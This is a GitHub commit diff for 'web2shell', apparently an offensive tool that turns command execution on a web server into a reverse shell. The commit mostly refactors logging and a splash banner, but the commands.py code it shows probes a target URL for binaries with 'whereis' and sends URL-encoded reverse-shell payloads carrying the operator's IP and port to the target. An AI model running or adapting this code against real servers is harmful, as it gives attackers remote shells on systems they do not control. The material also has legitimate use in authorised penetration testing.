Skip to content

Commit 25dbd11

Browse files
committed
Moved code to more relevant sections
1 parent 72323f9 commit 25dbd11

File tree

6 files changed

+38
-36
lines changed

6 files changed

+38
-36
lines changed

data/types.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
from enum import Enum
2+
3+
4+
class Status(Enum):
5+
ALERT = "[!]"
6+
ERROR = "[x]"
7+
SUCCESS = "[-]"
8+
VERBOSE = "[*]"
9+
NONE = ""

modules/commands.py

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
import requests
44

5-
from data import payloads
5+
from data import payloads, types
66
from modules import logger
77

88

@@ -20,27 +20,27 @@ def find_bins(url: str, verbose: bool) -> list:
2020
bins = list(payloads.payloads.keys())
2121
for bin in bins:
2222
result = execute(url, f"whereis {bin}")
23-
logger.log(result, logger.Types.VERBOSE, True, verbose)
23+
logger.log(result, types.Status.VERBOSE, True, verbose)
2424
for path in result.split(" "):
2525
if "bin" in path and bin in path:
2626
valid.append({bin: path})
27-
logger.log(f"{bin} found at {path}", logger.Types.SUCCESS)
27+
logger.log(f"{bin} found at {path}", types.Status.SUCCESS)
2828
return valid
2929

3030

3131
def reverse_connection(valid_bins: list, url: str, ip: str, port: int, verbose: bool):
3232
logger.log(f"Bins to test: {len(valid_bins)}")
3333
for bin in valid_bins:
34-
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", logger.Types.ALERT)
34+
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT)
3535
for payload in payloads.payloads[list(bin.keys())[0]]:
3636
cmd = urllib.parse.quote(
3737
payload.replace("PATHHERE", list(bin.values())[0]).replace("IPHERE", ip).replace("PORTHERE", str(port))
3838
)
3939
result = execute(url, cmd)
40-
logger.log(result, logger.Types.VERBOSE, True, verbose)
40+
logger.log(result, types.Status.VERBOSE, True, verbose)
4141

4242

4343
def verify(url: str, verbose: bool) -> bool:
4444
data = execute(url, "uname -a")
45-
logger.log(data, logger.Types.VERBOSE, True, verbose)
45+
logger.log(data, types.Status.VERBOSE, True, verbose)
4646
return "linux" in data.lower()

modules/connection.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,14 @@
11
import socket
22

3+
from data import types
34
from modules import logger
45

56

67
def get_ip(interfaces: dict, provided_inteface: str) -> str:
78
logger.log("Available interfaces...")
89
selected = None
910
for interface in interfaces:
10-
logger.log(interface, logger.Types.SUCCESS)
11+
logger.log(interface, types.Status.SUCCESS)
1112
if provided_inteface == interface:
1213
selected = interface
1314
if selected is None:
@@ -24,9 +25,9 @@ def get_port(ip: str) -> int:
2425
try:
2526
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2627
s.bind((ip, port))
27-
logger.log(f"{port} available!", logger.Types.SUCCESS)
28+
logger.log(f"{port} available!", types.Status.SUCCESS)
2829
s.close()
2930
return port
3031
except:
31-
logger.log(f"{port} already in use or unavailable.", logger.Types.ERROR)
32+
logger.log(f"{port} already in use or unavailable.", types.Status.ERROR)
3233
return -1

modules/flags.py

Lines changed: 0 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,3 @@
1-
def splash():
2-
print(
3-
"""
4-
o o o o
5-
O .oOOo. O O O
6-
O O o o o
7-
o o O O O
8-
'o O .oOo. OoOo. O' .oOo OoOo. .oOo. o o
9-
O o o OooO' O o O `Ooo. o o OooO' O O
10-
o O O O o O .O O o O O o o
11-
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
12-
---------------------------------------------------
13-
@ejedev
14-
"""
15-
)
16-
17-
181
def setup(parser):
192
parser.add_argument(
203
"url",

modules/logger.py

Lines changed: 18 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,27 @@
1-
from enum import Enum
1+
from data import types
22

33

4-
class Types(Enum):
5-
ALERT = "[!]"
6-
ERROR = "[x]"
7-
SUCCESS = "[-]"
8-
VERBOSE = "[*]"
9-
NONE = ""
4+
def splash():
5+
print(
6+
"""
7+
o o o o
8+
O .oOOo. O O O
9+
O O o o o
10+
o o O O O
11+
'o O .oOo. OoOo. O' .oOo OoOo. .oOo. o o
12+
O o o OooO' O o O `Ooo. o o OooO' O O
13+
o O O O o O .O O o O O o o
14+
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
15+
---------------------------------------------------
16+
@ejedev
17+
"""
18+
)
1019

1120

12-
def log(message: str, type: Types = Types.NONE, verbose: bool = False, verbosity: bool = False):
21+
def log(message: str, type: types.Status = types.Status.NONE, verbose: bool = False, verbosity: bool = False):
1322
if verbose and not verbosity:
1423
pass
15-
elif type == Types.NONE:
24+
elif type == types.Status.NONE:
1625
print(message)
1726
else:
1827
print(f"{type.value} {message}")

web2shell.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
)
1212
parser = flags.setup(parser)
1313
results = parser.parse_args()
14-
flags.splash()
14+
logger.splash()
1515
if not results.force:
1616
logger.log("Verifying commands can be executed...")
1717
if not commands.verify(results.url, results.verbose):

0 commit comments

Comments
 (0)